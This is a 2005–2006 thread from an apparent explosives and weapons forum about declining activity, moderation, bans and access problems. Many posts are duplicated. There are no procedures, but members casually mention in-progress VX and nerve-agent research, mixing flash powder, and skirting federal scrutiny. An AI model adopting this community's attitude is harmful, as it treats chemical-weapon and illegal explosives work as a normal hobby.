when they can simply leave (Philou for example). Anyway, I guess I'm saying that theres a cartain type of very desirable
people that you will never see posting here for the above reasons, Its like the geeks growing up, to only pity the bullies.

I personally believe i have little of value to add to the main discussions going on here. I am not as accomplished in chemistry
as the majority of the people here. Frequently I find myself spending hours trying to go through one long post that has
several chemical forumals or interactions within them to be able to understand why it is like it is and why it works like that.
I am not worried about banning, and all of that. I will get banned if I step out of line and then my education will continue
elsewhere. But NBK is not a beast or a monster. NBK has done his job which has kept this place for a long time as I can see
kewl free, and that is something I cannot say of a lot of forums. And so I must respect that a heavy hand can knock over
more chess pieces of your own, but can also smash the other side completely.....

I personally believe i have little of value to add to the main discussions going on here. I am not as accomplished in chemistry
as the majority of the people here. Frequently I find myself spending hours trying to go through one long post that has
several chemical forumals or interactions within them to be able to understand why it is like it is and why it works like that.
I am not worried about banning, and all of that. I will get banned if I step out of line and then my education will continue
elsewhere. But NBK is not a beast or a monster. NBK has done his job which has kept this place for a long time as I can see
kewl free, and that is something I cannot say of a lot of forums. And so I must respect that a heavy hand can knock over
more chess pieces of your own, but can also smash the other side completely.....
nbk2000 July 19th, 2005, 01:40 PM

We're in our annual summer slump. Happens every year, so it's nothing to worry about.
I added a couple more options to the poll to reflect this.
As for the discussion about me, talk all you want. At the end of the day, I'm the one with his finger on the kill switch, and ain't
nothing going to change that, so all such discussion is moot. :p
If you take this as proof of an overinflated ego, so be it.

As for Bitter, he was removed not because of any disagreement with how things were run here, but because he brought heat
on himself in the form of police investigation. For the sake of the Forum, and everyone on it, we distanced ourselves from
him.
As for anyone else, if they don't like it here, they're free to leave. It's not like we've got them locked in a cage. :p
I've always wondered about people who bitch and gripe about the way things are ran here, yet continue to come here. Why?
nbk2000 July 19th, 2005, 01:40 PM

I added a couple more options to the poll to reflect this.
nothing going to change that, so all such discussion is moot. :p
him.
As for anyone else, if they don't like it here, they're free to leave. It's not like we've got them locked in a cage. :p
Skean Dhu July 20th, 2005, 03:29 AM

I don't post all that much because I don't have that much experience. I don't have a big chem lab setup in my basement with
all the equipment and chemicals that I would like, so rarley is there anything of much pertinance for me to post about.
Skean Dhu July 20th, 2005, 03:29 AM

I don't post all that much because I don't have that much experience. I don't have a big chem lab setup in my basement with
all the equipment and chemicals that I would like, so rarley is there anything of much pertinance for me to post about.

I'm obviously far too sad to realise the weathers nice - I'm still in front of the PC all day!
As for moderation, I think it is the slightly random element to some of the bannings that is what worries the older members.
Because we can't see the reasons, we wonder why someone isn't here any more.
Personally, I think it a shame that the newbie posts are so censored now - we never get to see people get shredded any
more...
Anyway, I've been experimenting in the heat, see my thread on "Silent loads" http://www.roguesci.org/theforum/
showthread.php?t=4869 but no-one's responded yet!

I'm obviously far too sad to realise the weathers nice - I'm still in front of the PC all day!
As for moderation, I think it is the slightly random element to some of the bannings that is what worries the older members.
Because we can't see the reasons, we wonder why someone isn't here any more.
Personally, I think it a shame that the newbie posts are so censored now - we never get to see people get shredded any
more...
Anyway, I've been experimenting in the heat, see my thread on "Silent loads" http://www.roguesci.org/theforum/
showthread.php?t=4869 but no-one's responded yet!
simply RED July 22nd, 2005, 12:49 PM

There is another more reason. Most possibly it affects the newbies:
In the beginning of the forum we were discussing the basic methods of synthesis and the basic propperties of explosives
(acetone peroxide, making AN explosives, basic ways of nitrating alcohols etc).
A lot of information is now available on the upper subjects.
Now, as time has passed - complex things remain unknown.

Complex understanding of E&W requires electronics, chemistry, mathematics... and information. See the threads about toxins,
RC control etc...
So the level has rised! Many people may have difficulties following it.
Very good things are : the forum archive and search engine, the ftp and the info in the net - from where the beginners should
learn.
simply RED July 22nd, 2005, 12:49 PM

There is another more reason. Most possibly it affects the newbies:
In the beginning of the forum we were discussing the basic methods of synthesis and the basic propperties of explosives
(acetone peroxide, making AN explosives, basic ways of nitrating alcohols etc).
A lot of information is now available on the upper subjects.
Now, as time has passed - complex things remain unknown.

Complex understanding of E&W requires electronics, chemistry, mathematics... and information. See the threads about toxins,
RC control etc...
So the level has rised! Many people may have difficulties following it.
Very good things are : the forum archive and search engine, the ftp and the info in the net - from where the beginners should
learn.
xyz July 23rd, 2005, 09:10 AM

I'd say that the moderation does have something to do with it...
(Yeah NBK, this means you :p, but I agree, it's your choice on what you do as far as moderation goes)
Most of the members I used to know of are gone, some banned, but most just lost to the sands of time for various reasons
(i.e. not liking the strict moderation, not having the time/energy for E&W anymore, mvong on to other things, e.t.c.).
If you're reading this and names like HMTD, Frostfire, 0EZ0, Green Beret, Noltair, Axt, THErAPIST, mark, S. Toppholzer, e.t.c.
ring bells, then, like me, you must be getting old in forum terms :p
And whatever happened to Anthony and -BoB-? They were hilarious...
Hell, maybe I'm just too paranoid to be banned for something and too addicted to stop coming here :) Although I must admit
that I've moved on from explosives somewhat, SWIM used to set several charges off every weekend, but it's been months
now, maybe over a year. I'm still as interested as I ever was in firearms, poisons, and "interesting" psychoactives though.
Pity that Australia has now (thanks to London) passed a law against "indirect incitement" of terrorism. That means "anyone
who supplies information that aids terrorists" :(.
If they'd had these laws in the US for the Oklahoma bombing, they could have arrested whoever taught McVeigh to drive...
:rolleyes: (So the moral of the story is, boys and girls, if an arab asks you for street directions, refuse rudely, if you don't then
there's a chance you might be aiding a terrorist and placing yourself on the wrong side of the law, and we wouldn't want that
now would we?)
I give it 3 years for the ThoughtCrime laws to be put in place...
Back on topic, I actually remember being a noob here, I remember thinking long and hard about each thing I posted, and
being pretty paranoid that I'd get banned. Then once I got to about 50 posts and got FTP access, I pretty much stopped
worrying and posted whatever. These days I'm not so sure though, all I can say is that I'm glad to have a three digit number
up there where it says "Posts:", or I'd be rather worried about ending up with a "Biatch Smackdown" instead of a
"Roguesci.org" ;)
All in all though, I think I've done enough reminescing, if people come here, so be it, if they don't, so be it.
xyz July 23rd, 2005, 09:10 AM

I'd say that the moderation does have something to do with it...
(Yeah NBK, this means you :p, but I agree, it's your choice on what you do as far as moderation goes)
Most of the members I used to know of are gone, some banned, but most just lost to the sands of time for various reasons
(i.e. not liking the strict moderation, not having the time/energy for E&W anymore, mvong on to other things, e.t.c.).
If you're reading this and names like HMTD, Frostfire, 0EZ0, Green Beret, Noltair, Axt, THErAPIST, mark, S. Toppholzer, e.t.c.
ring bells, then, like me, you must be getting old in forum terms :p
And whatever happened to Anthony and -BoB-? They were hilarious...
Hell, maybe I'm just too paranoid to be banned for something and too addicted to stop coming here :) Although I must admit
that I've moved on from explosives somewhat, SWIM used to set several charges off every weekend, but it's been months
now, maybe over a year. I'm still as interested as I ever was in firearms, poisons, and "interesting" psychoactives though.
Pity that Australia has now (thanks to London) passed a law against "indirect incitement" of terrorism. That means "anyone
who supplies information that aids terrorists" :(.
If they'd had these laws in the US for the Oklahoma bombing, they could have arrested whoever taught McVeigh to drive...
:rolleyes: (So the moral of the story is, boys and girls, if an arab asks you for street directions, refuse rudely, if you don't then
there's a chance you might be aiding a terrorist and placing yourself on the wrong side of the law, and we wouldn't want that
now would we?)
I give it 3 years for the ThoughtCrime laws to be put in place...
Back on topic, I actually remember being a noob here, I remember thinking long and hard about each thing I posted, and
being pretty paranoid that I'd get banned. Then once I got to about 50 posts and got FTP access, I pretty much stopped
worrying and posted whatever. These days I'm not so sure though, all I can say is that I'm glad to have a three digit number
up there where it says "Posts:", or I'd be rather worried about ending up with a "Biatch Smackdown" instead of a
"Roguesci.org" ;)
All in all though, I think I've done enough reminescing, if people come here, so be it, if they don't, so be it.
Macgyver July 23rd, 2005, 11:38 AM

I think it's a combination of good weather in the summer and the recent things happening in the world, so maybe some of the
users try to keep a low profile?
My reasons are summer holidays and the fact that I only post when I have something interesting to share with my fellow
forumites... And I've been quite busy at work before the holiday season.
Macgyver July 23rd, 2005, 11:38 AM

I think it's a combination of good weather in the summer and the recent things happening in the world, so maybe some of the
users try to keep a low profile?
My reasons are summer holidays and the fact that I only post when I have something interesting to share with my fellow
forumites... And I've been quite busy at work before the holiday season.
nbk2000 July 23rd, 2005, 12:46 PM

A little something relevenat to this discussion:
The greatest teaching you can do is permission-giving, to allow others to get in touch with themselves. The architect Louis
Kahn was that kind of teacher for me. He allowed me to be more of me.
I was talking to his son, Nathaniel Kahn, who is making a film about his father by talking to a lot of people. I said to him that
I have observed on the Biography Channel that when everyone says the same thing about a person, where there is absolute
agreement, the person is usually totally boring.
The people who inspire conflicting opinions are the most interesting. When one person characterizes someone as funny,
another says seriou s, one says stupid, a nother says sma rt that's someone you want to k now.
Louis was different with everyone. That is a measure of his importance.
From Information Anxiety 2, by Richard Wurman, page 17.
:p
Anthony has retired and moved on to other interests in his life.
nbk2000 July 23rd, 2005, 12:46 PM

A little something relevenat to this discussion:
The greatest teaching you can do is permission-giving, to allow others to get in touch with themselves. The architect Louis
Kahn was that kind of teacher for me. He allowed me to be more of me.
I was talking to his son, Nathaniel Kahn, who is making a film about his father by talking to a lot of people. I said to him that
I have observed on the Biography Channel that when everyone says the same thing about a person, where there is absolute
agreement, the person is usually totally boring.
The people who inspire conflicting opinions are the most interesting. When one person characterizes someone as funny,
another says seriou s, one says stupid, a nother says sma rt that's someone you want to k now.
Louis was different with everyone. That is a measure of his importance.
From Information Anxiety 2, by Richard Wurman, page 17.
:p
Anthony has retired and moved on to other interests in his life.
Bert July 23rd, 2005, 08:23 PM

Too busy to scratch, and on the road without connectivity a great deal of the time. Add the forum often not being up when I
did have a chance to go online.
Bert July 23rd, 2005, 08:23 PM

Too busy to scratch, and on the road without connectivity a great deal of the time. Add the forum often not being up when I
did have a chance to go online.

nothing going to change that, so all such discussion is moot.
Exactly my point. This is why your in this "summer slump". ;)
I shall.
him.
Having spoke to him on a number of occasions, I know that's not entirely true at all!
As for anyone else, if they don't like it here, they're free to leave. It's not like we've got them locked in a cage.
Which is why there is hardly anyone here. Well, except those that want to stroke your ego.
To laugh at you, not with you.

nothing going to change that, so all such discussion is moot.
Exactly my point. This is why your in this "summer slump". ;)
I shall.
him.
Having spoke to him on a number of occasions, I know that's not entirely true at all!
As for anyone else, if they don't like it here, they're free to leave. It's not like we've got them locked in a cage.
Which is why there is hardly anyone here. Well, except those that want to stroke your ego.
To laugh at you, not with you.

Summer slump eh? Well that may be true for posts, but its not for lack of people. Did anyone notice we hit a new record high
of people on at once? Almost 500 on June 21! New registration statistics are humming to increasing levels, although they are
lower than what they are in February, our peak month for discussion.
If we have run out of things to talk about than it is time to open up new sections I say. Without the Hive a drug discussion
exists, and those druggies are ever so good at improvised chemistry. The engineering section could probably use some high
voltage/electronics stuff. Maybe a physics section would be nice. I can always expand the chemistry and devote more Forum
resources to the general sciences.
I have other exciting plans for The Forum now that our software has been upgraded. It looks like that torrent tracker I have
always wanted can go in since someone finally made a better one that works with vb. Plan on getting SSL encrypted pages for
The Forum as well. Many don't know this but we seamlessly moved to a new host that offers us far more bandwidth, features,
and space. I have already made the appropriate SSL certificates... Plan on seeing a greatly expanded library, or rather more
ways to get books rather than just FTP or torrents. I am planning on compressing all documents on the FTP into individual zip
archives to cut down on transfer times.
I am readying another mass expansion of my website as well. My website is what draws most people to Rogue Science, or at
least that used to be the way things went. Be on the lookout for a better search engine for my website too. I will also be trying
to make an archive of all the original sources of information I get for my website so the original references can be checked. At
the very least I will cite all my sources. Even though the original sources for my existing explosives was lost before I got a
chance to add them to my website, I will be pouring through the old data and finding all the info again.
Discussion or not, The Explosives and Weapons Forum remains a vast treasure trove of information going back 6 years now,
and 8 years for my website. We have outlasted the rest and remained the best. We set the standards in the industry.
And as for you, TheHitMan, every one of your little retorts is uninformed and erroneous. If you want to gripe about nbk do it
via email with your associates. Don't spread lies and rumors because you have a bug up your ass.
Contrary to popular opinion very few people get banned around here anymore. Our reputation precedes us for proper
etiquette, and nbk's sheer presence insures compliance with the rules. People don't just get banned for no reason, and those
that do always have a sob story about why they are innocent. Ask any inmate in prison what they did and they will say they are
innocent. And while nbk may be the crushing boot, I am the resurrector. There are many of you here under new names that I
have allowed back in. I would rather chase off a few good people than to allow kewls to run amuck (then they drive off the
good people).

Summer slump eh? Well that may be true for posts, but its not for lack of people. Did anyone notice we hit a new record high
of people on at once? Almost 500 on June 21! New registration statistics are humming to increasing levels, although they are
lower than what they are in February, our peak month for discussion.
If we have run out of things to talk about than it is time to open up new sections I say. Without the Hive a drug discussion
exists, and those druggies are ever so good at improvised chemistry. The engineering section could probably use some high
voltage/electronics stuff. Maybe a physics section would be nice. I can always expand the chemistry and devote more Forum
resources to the general sciences.
I have other exciting plans for The Forum now that our software has been upgraded. It looks like that torrent tracker I have
always wanted can go in since someone finally made a better one that works with vb. Plan on getting SSL encrypted pages for
The Forum as well. Many don't know this but we seamlessly moved to a new host that offers us far more bandwidth, features,
and space. I have already made the appropriate SSL certificates... Plan on seeing a greatly expanded library, or rather more
ways to get books rather than just FTP or torrents. I am planning on compressing all documents on the FTP into individual zip
archives to cut down on transfer times.
I am readying another mass expansion of my website as well. My website is what draws most people to Rogue Science, or at
least that used to be the way things went. Be on the lookout for a better search engine for my website too. I will also be trying
to make an archive of all the original sources of information I get for my website so the original references can be checked. At
the very least I will cite all my sources. Even though the original sources for my existing explosives was lost before I got a
chance to add them to my website, I will be pouring through the old data and finding all the info again.
Discussion or not, The Explosives and Weapons Forum remains a vast treasure trove of information going back 6 years now,
and 8 years for my website. We have outlasted the rest and remained the best. We set the standards in the industry.
And as for you, TheHitMan, every one of your little retorts is uninformed and erroneous. If you want to gripe about nbk do it
via email with your associates. Don't spread lies and rumors because you have a bug up your ass.
Contrary to popular opinion very few people get banned around here anymore. Our reputation precedes us for proper
etiquette, and nbk's sheer presence insures compliance with the rules. People don't just get banned for no reason, and those
that do always have a sob story about why they are innocent. Ask any inmate in prison what they did and they will say they are
innocent. And while nbk may be the crushing boot, I am the resurrector. There are many of you here under new names that I
have allowed back in. I would rather chase off a few good people than to allow kewls to run amuck (then they drive off the
good people).
thrall July 28th, 2005, 03:58 AM

What about a section on militery strategy and tactics? There are few militery people here already and there are others with
good enough knowledge or ideas. It would be a nice read I think.
thrall July 28th, 2005, 03:58 AM

What about a section on militery strategy and tactics? There are few militery people here already and there are others with
good enough knowledge or ideas. It would be a nice read I think.

Now that just might be an idea worth considering. I am sure we have many armchair generals too :)

Now that just might be an idea worth considering. I am sure we have many armchair generals too :)
Chris The Great July 29th, 2005, 02:42 AM

Well, for me it's quite a combination of things. I think the offtime sort of turned me away from this forum somewhat, even
though I find it extremely useful. Sciencemadness picked up some of the slack and I find I spend most of my time there
when before I would spend roughly equal time in E&W and SM.
I also currently don't have anything new or interesting to post either, besides a VX synthesis which needs more work than I
initially thought to make work. I said I'd have it two weeks ago, well vacation and other projects (needed a break after months
of straight nerve agent research) intervenied, and the end result is I have nothing to post! Other experiments with explosives
that have not been discussed much or at all are on hold as I lack certain chemicals and procedures, and so I need to get the
chems and figure out some procedures.
I also agree that things have increased in difficulty, right now OTC nerve agents, complex caged nitramines and whatnot are
the topics being researched, not how to make AP.
But, there isn't really any reason to worry, forums often slump and jump around with activity. It sure seems like there has
been alot of activity however, judging by how many posts I have to catch up on since my last visit.
al93535 July 31st, 2005, 04:47 AM

I think the new sections are a great idea Mega. I really like the high voltage / electronics category. Not only are they useful for
entertainment but can be used for detonators and weapons as well.
I didn't frequent this forum as much, as I was really into pyrotechnics rather then weapons and explosives. But I have since
returned for the high-quality information here, you can't beat it. Once I finish my current projects I will post the details and
results.
grammarless August 1st, 2005, 03:15 AM

A high voltage/electronics section would be wonderful because it was those things that dragged me away from here and to
highvoltage forum.
FrankCastle August 2nd, 2005, 08:20 AM

maybe there's so little discussion because these forums are too heavily moderated. nobody wants to wait days to become a
member and wait days more for every post they make.
megalomania August 4th, 2005, 04:46 PM

Our moderation system has worked fine for the past several years. If we did not make you wait, then we would be overrun with
foolishness. One merely has to look at TOTSE, Weirdier, and Bombshock for an example of an explosive board without
moderation. Discussion degenerates to anarchy, the anarchy chases away the knowledgeable, and the anarchy attracts the
ignorant. Due to the nature of our subject matter we attract an inordinate number of kewls, to fight this we have enacted rather
extreme moderating policies. Our moderation is solely responsible for allowing The Forum to survive and flourish in a harsh
environment. To ease the restrictions is to invite disaster.

to survive and flourish
Doesn't seem to be much of that as of the last few months! Reinforcing my remarks.
Child-of-Bodom August 21st, 2005, 10:04 PM

Our moderation system has worked fine for the past several years. If we did not make you wait, then we would be overrun with
foolishness. One merely has to look at TOTSE, Weirdier, and Bombshock for an example of an explosive board without
moderation. Discussion degenerates to anarchy, the anarchy chases away the knowledgeable, and the anarchy attracts the
ignorant. Due to the nature of our subject matter we attract an inordinate number of kewls, to fight this we have enacted rather
extreme moderating policies. Our moderation is solely responsible for allowing The Forum to survive and flourish in a harsh
environment. To ease the restrictions is to invite disaster.
Absolutely true! No strict moderation would kill this board. It is a bit rude to ban someone after he/she opened a thread which
is against the rules, but hey, that's the policy, RTFM, and I cannot care a lot for them...
However, I also don't like it that long-time members like Vulture and other guys/girls (you never know...) have been banned
for more or less political reasons, this inhibits me to give my clear opinion in WC threads. I don't know the real reason behind
this obviously, but as it is not explained, it looks at least a bit strange. Being a bit more open about that sort of things is
maybe a good idea, if I decide to post a lot, so put a lot of time in a forum, it is nice to know that you're not banned after
three years. This is obviously not how it works in reality, but if it looks like this happens, people are not willing to invest time
in this board, but find another one....
For the other subfora I am not 'afraid' to post, I know myself exactly when it is good, or when it is crap, and even sometimes
when I am writing something, it goes Alt-A+del, because it is too much offtopic, or I search to find a small bit of info and find
the answer anyway.
This is the next point, there is so much info here, that for beginners' questions there is hardly space, it is already written down
somewhere.
If you want more discussion, delete the archives :P...
Furtheron didn't I really felt like doing some nice deto's after the terror-shit happened in London, and people are killed there
because they wear a backpack, but felt more for doing other stuff....
al93535 August 22nd, 2005, 08:06 AM

Perhaps there are less posts because people are having trouble accessing the site. I have talked to a few people, and read
from others that they cannot lon-into the forum with thier user name, so are guests. Or they are getting "You don't have
permission to access / on this server." And/or a 403 404 error. BTW, these are mostly people outside of the U.S.
Child-of-Bodom August 22nd, 2005, 08:46 AM

Use a proxy server, that will solve the problem, and will allow you be more anonymous anyway. This is very easy, just go to
the homepage of your provider, find the proxyadress and the port there, and fill it out in you browser. Both in Firefor and Idiot
Explorer is this very straightforward.
I had the problem too, but it obviously works now... (and yes, I am outside the US)
Pb1 October 8th, 2005, 07:59 PM

I beg to differ. I made a quick and dirty chart of the posts per month and this looks like it's much more serious than that. In
fact, looking at the chart, I don't even see a summer lull, it's more of a peak. Whatever's going on with this forum is much
more long term. I can't offer an explanation, all I have is the (approximate) numbers.
If anyone wishes, I can post the picture here (the graph is in a format few are likely to recognize).
knowledgehungry October 9th, 2005, 10:52 AM

I got a personally signed letter from the BATF. So I guess that would put me into the not wanting to be seen as a terrorist.
After realizing I was being watched I decided to get rid of most of my chemicals. I'm getting back into the theory however. Also
if I wasn't working I was busy drinking, fighting and hanging with the boys. But those days are over too. So hopefully I'm back
for good.
meselfs October 9th, 2005, 10:46 PM

I thought you weren't skerd?
Anyway, this forum is slowly but surely recovering. I think that the big loss was due to the outages early this year, and the IE
login troubles.
me234 October 10th, 2005, 02:35 AM

knowledgehungry, what exactly did the letter say?
I'm just wondering, not like I've done anyhting to deserve such a letter of course.

The letter basically said we know what you have been buying(Al, KClO4 etc.), making flash powder is considered the illegal
manufacture of explosives which is a felony. I wasn't too skerd, I still had a nice Fourth of July ;) .
nbk2000 October 10th, 2005, 01:06 PM

Sounds like a fishing expedition on their part.
So what if you have the ingredients? It's only illegal if you combine them. :p
grendel23 October 11th, 2005, 06:11 AM

The letters are being sent out by the Office of Consumer Litigation, Dept. of (in)Justice. They are part of a campaign by the
Consumer Product Safety Commission to stamp out amateur pyrotechnics in the US.
They are fishing, because if they had evidence, they would knock on your door with a search warrant, not send a letter.
knowledgehungry October 11th, 2005, 05:20 PM

My letter was from the BATF and signed by a BATF official. I agree it was fishing but I hate being even a blip on the feds radar.
nbk2000 October 13th, 2005, 04:21 PM

The fact that they sent you a letter means you're safe.
Did they send a letter to the Branch Davidians in Waco, TX. Nope.
How about Randy Weaver at Ruby Ridge? Nope.
If they have an interest in you, they just come sneaking up on you and assassinate your family and friends in bungled raids,
before finally setting your house on fire in frustration over their inability to be real 'soldiers'. :p
LeoDioxide October 24th, 2005, 07:17 PM

I for one can say, I've nothing interesting to contribute, and the moderation is scary >.> Also, anything I could ever want is
already here.
The high voltage section sounds great, there is a house being built right next to me, and I get a week or so of free electricity.
I've been trying to come up with ideas, and so far google turns out bad homemade results for "spark gap trigger."
Arbitwar November 2nd, 2005, 03:03 PM

I'm an old member, but just recently created a new login name. Hell I can't even remember my old one. I dont post now
simply because anything I could want to know is already available. And whether you think so or not, most of you(us) dont
have anything else to add. There are a few(very few) people here who do new research and make new discoveries. There is
more imformation already here than any of us will use or could use. Only the few people who are willing to dump most of their
money/time into this hobby can further it.
zeocrash November 21st, 2005, 10:56 AM

XYZ hit it on the head for me, when i first started here there was a huge community spirit. we all used to know each other (not
personally but online). I don't mean any offence when i say this, but who the hell are half of our current members, they're new
and not the people i used to know from back in the day, i don't mean that offensively, but it's making me feel a little old (in
forum terms).
Another large factor contreibuting to my absence (and i'm sure i'm not the only person this applies to) is that i've had alot
going on in my life recently, finished college, got a job, lost a job went to uni. i've had other things in my life and i've just not
had time to sit down in my garage and work on stuff.
the armchair general board is an interesting idea. I remember a couple of years ago i suggested creating one of these global
strategic analasys services as a way of financing the forum. the content for our service would be generated by forum discussion
on various conflicts in the world today.
This idea got a good reception, then fell dead. It'd be nice to see a return of the armchair generals to the forum.
Also on the topic of new forums, weren't we going to create a forum on drugs and pharmacology to make up for the hive's
dissapearence.
Chris The Great November 22nd, 2005, 11:30 PM

While I probably fall under the category of "who the hell is this guy" I know what you mean about knowing everyone.
I recently joined a more kewlish forum to help move it away from becoming another totse (it's working) and since there aren't
hundreds of members and everyone who posts is very active, you recognize everyone who posts. It really makes you enjoy the
forum alot more, even if the subject matter is not as advanced.
Here, people don't post that often, and when they do alot of the time I don't recognize them. I would consider myself to
'know' maybe only a couple members.
Jacks Complete November 23rd, 2005, 12:45 PM

But if people don't post, or respond to posts, how can we ever get back to that stage?
NBK used to throw out some great ideas that were somewhere between batshit crazy and warped uber-genius, but we all used
to discuss them. I keep posting discussion articles on new tricks pulled from the web, but rarely does anyone want to say
anything about them...
THErAPIST November 27th, 2005, 06:36 PM

This forum is dead. Noone discusses theory anymore. Everyone has either gone to studying/ making fireworks, or making AP.
Noone cares about the theory behind things anymore, noone cares about the exploration, noone cares about the techniques,
or the dangers, or anything else. Everyone now is either uninterested, extremely k3wl, or some poor guy stuck in the middle
hoping shit would happen so that they could learn. I used to be the poor bastard stuck in the middle but then I went to
fireworks and stopped caring about half of the stuff here. Lets not forget that in an attempt to make the forum better it was
made impossible for me to login so that I could post if I wanted to.
The old members such as DBSP and such left because they got sick of how noone worked together to learn or accomplish
things. Everyone worked together to learn, and somewhat develop. An example of this would be nbk's trinade idea. Now noone
cares about team work, it's all "me me me". Also a large majority of old people got sick of seeing all the knowledgable people
getting banned for pissing NBK off so they disappeared..
I don't mean to offend anyone. I'm not calling anyone still here worthless or greedy or anything ,because I doubt anyone
who's still here is worthy of death by chocking on liquid nitrogen or anything, but that's what started happening and then
people left. I really Don't know how it is here now. I left before it ever got to this stage.
NoltaiR November 27th, 2005, 07:22 PM

I thought DBSP and guys like him quit because they were afraid of getting in trouble or were already in trouble. If I remember
correctly he was one of the guys that actually posted pictures/videos of his doings... while that is all great and all, it tends to
be very good evidence for any sort of pursuing agency.
And if you guys remember correctly.. we had a Finnish guy named 'rc' that came here for a short while before reportedly killing
himself and doing a lot of damage inside of a mall using homemade explosives... those are the people who don't quite
comprehend the idea of THEORY.

Na. DBSP was and still is on my icq buddy list. Granted I havent spoken to him in quite some time, I assure you he left
because the whole teamwork aspect that this place had once had disappeared as well as some of the knowledgable/ senior
members. He told me that a couple months after he quit coming here. He had a new job that was paying well and IIRC he had
a girlfriend who became pretty important to him so it wasnt worth his time to stay here.
DBSP and the people like him who quit coming here were usually a bit too smart to get into too much trouble. They always
seemed to quit while they still had the chance.
Flake2m November 28th, 2005, 11:36 AM

The discussion started dying after:
A member was implicated in the Helsinki bombing
September 11
It went down hill even more after:
The london Bombings
Notice a trend here?
When you include this javascript exploit (or so I am informed thats what it is) that is screwing up the logins, you realise that
something is going on.
Without our forum G[m]ods: NBK2000 and Megalomania this forum is going to go nowhere. I haven't even heard from the
demi-g[m]ods: Anthony and his merry men.
While people may post pictures of there doings, in some countries it is actually legal to conduct these activities, as long as
appropriate safety measures are taken. This forum never has and never will condone terrorism or terrorist activities.
Guerilla November 28th, 2005, 02:21 PM

I couldn't agree more with you there, THErAPIST.
The team spirit, if you can call it that, has really weakened over time. It's obvious that the feel of 'community' diminishes as
the member count increases, but that's not anyone's fault. Rather, like said, seeing how little you as a single member mean
here when even old great contributors get banned because of some personal conflicts and all the "if you don't like it you're
free to leave" type of attitudes are one of the moral-killers, or at least hardly encourage anyone to contribute and put time
and effort on this forum IMHO. This is at least the picture I get, having spoked with some members that have left.
Maybe it gets better, I dont know..somehow I just feel like these technical problems put the last nail to the coffin.

Maybe it gets better, I dont know..somehow I just feel like these technical problems put the last nail to the coffin.
Agreed.
I'm back to throw in some replies every once in a while since I can actually log in now, but i doubt this place will ever be what it
once was.
Jacks Complete December 1st, 2005, 10:11 PM

Well, I have to agree.
Another factor is the banning of the IP/URL by a least one major UK ISP, so probably 50% of people trying to get this site get
a 403 or 404 even when everything should be fine.
The lack of mods should probably be very worrying, and admin action should have been taken weeks ago. :confused:
Davo December 1st, 2005, 10:39 PM

If you're blocked and try using a proxy such as www.the-cloak.com, you can visit the site but cannot log on. Most anonymous
proxies do not allow the sending of POSTDATA and therefore you can't log on and tell people you were blocked. You would
probably be really pissed off if your isp blocked you, but you can read the site with an anonymous proxy but can't actually log
on and tell anyone
quicksilver December 2nd, 2005, 10:59 AM

Frankly, I can search and find what I wanted to talk about. That being said, I would want to add to the existing thread but I
feel that to do so would bring a shitstorm of "that's already been discussed" even if what I added was in a slighly differing
context. And in truth, there are some issues with some folks whom I know (from other places like the Hive) who got banned
here for reasons that just don't coincide with the "rules". They were sharp fellows and I just don't know why they got banned
and neither do they!
mrloud January 6th, 2006, 09:02 AM

I guess this thread ties into the "Where Did they All Go" discussion under Forum Matters.
The Forum (as it was known then) was quite small when I first found it. Over a few years it grew to an enourmous size with
thousands of people making hundreds of posts. I really don't think that sort of growth and quantity of discussion is
sustainable. Especially nowadays with the whole "terrorism" superstition on the forefront of everyone's minds.
As has been said before: All the basics have been covered here many times over. That is why I came here in the first place...
to learn the basics, which I did. I had a great time tinkering with AP, nitrocellulose and a few other things.
I haven't lost interest in those things, but to take it to the next level requires time and effort I can't (or dont want to) spare
from myother hobbies. Chemisty is an idle interest of mine. It's certainly not my profession. 90% of what is discussed here is
~way~ over my head.
I don't sign in here very often, but this place is probably the web site I am most emotionally attatched to, simply because I
have seen it go through so much.
lustvegas January 10th, 2006, 04:21 PM

Hi. I don't know what goes on here. I'm surfing from the UK. I couldn't get in for most of last year '05 but I did in Dec. using a
proxy. Right now I'm not using a proxy but this is the first time I could get in since then.
I can't see most of the site, only the last topic posted in each section (with the exception of The Water Cooler) and no images
at all.
F'rinstance, on the main page, Chemistry Related tells me that there are 472 threads with 6,317 replies but all I can access is
"Homemade Alcohol" the last post. Same with everything else. I don't know if the site's gone screwy or what.
I don't know what goes on here. Or if/when I'll be able to get in again.
So, good luck and best wishes for the New Year.
Boomer January 13th, 2006, 11:10 AM

Hi, can somebody PLEASE tell me why I could not get in for NINE MONTH ???
I tried from 3 computers in 3 cities, so it could hardly have been that the IP range was banned.
megalomania January 13th, 2006, 02:17 PM

I would say our trouble really must have started when I upgraded to the release candidate of vb 3.5. A beta by any other
name is still a beta, damn bastards. There have been 5 or 6 releases since then to improve the code. I just upgraded to 3.5.2
last week and when I went back to the site they released 3.5.3! Ahhh!
mrloud is correct when he says the basics have been covered. Nbk2000 put it nicely in saying "the low hanging fruit has been
picked."
Personally I will be trying to change the focus of the site to providing increasing amounts of professional literature. I have
made a sizeable investment in digitization equipment and software. I have been making inroads with certain groups the
relase bookz professionally, and I am making a systematic effort to acquire some of the most valuable chemistry literature
avilable.
Discussion or not, The Explosives and weapons Forum will stand as a premiere source of information. We still get a staggering
amount of visitors every day, and it seems a rather large number of newbie posts were being trapped in the approval que
inadvertantly.
For the time being it seems most of the problems of the last few months have evaporated with the recent upgrade to the
latest version of the board software.
As for there being problems with The Forum... Lets put it this way, there has been at least one major crisis, and sometimes
more than one, each and every year since we opened our doors formally in 1999.
You want to know why I wasn't here for the past 4 months? I just could not take yet another problem. Rogue Science is my
baby, and I hate to see her suffer. I needed a little time off without thinking today is the end of the world. Now I see my
absence has been detrimental, but I think in a good way. With things slowed down I can actually get some work done around
here instead of answering the same questions over and over, and fixing every newbs dilemma. A burocratic functionary I am
not, I prefer to think of myself more as the chief engineer rather than the captain.
With things settled a bit I can retool, tinker, and focus my energies on much needed improvements. All I have to do is provide
the tools for the people, and you will do the rest.
Build it and they will come...
tmp January 20th, 2006, 01:21 PM

Mega, in some ways I feel your pain. My FTP isn't quite 7 months old and
already it's given me my share of headaches. Creating user accounts,
upgrading, and solving problems is time consuming. I haven't had a lot of time
with the hectic work schedule I've had in the last 6 months. Sometimes I
couldn't do any work on the FTP for over a week !
As for other members, maybe some of them are experiencing the same
problems with time and commitments. Some probably got scared over the
terrorist bullshit. Others may have simply lost interest. I'm sure the reasons
are various.
croc February 7th, 2006, 07:42 AM

The main reasons I had stopped posting were.
Whenever I clicked the submit reply button nothing happened.
I had also lost some interest in the forum (too many computer games).
In another thread on the forum it explains some countries blocking this forum from there citizens and the only way they could
get through was by using a proxy.
I may have also stopped posting a little and lost interest because I was coming off as a retard but now I m older and more
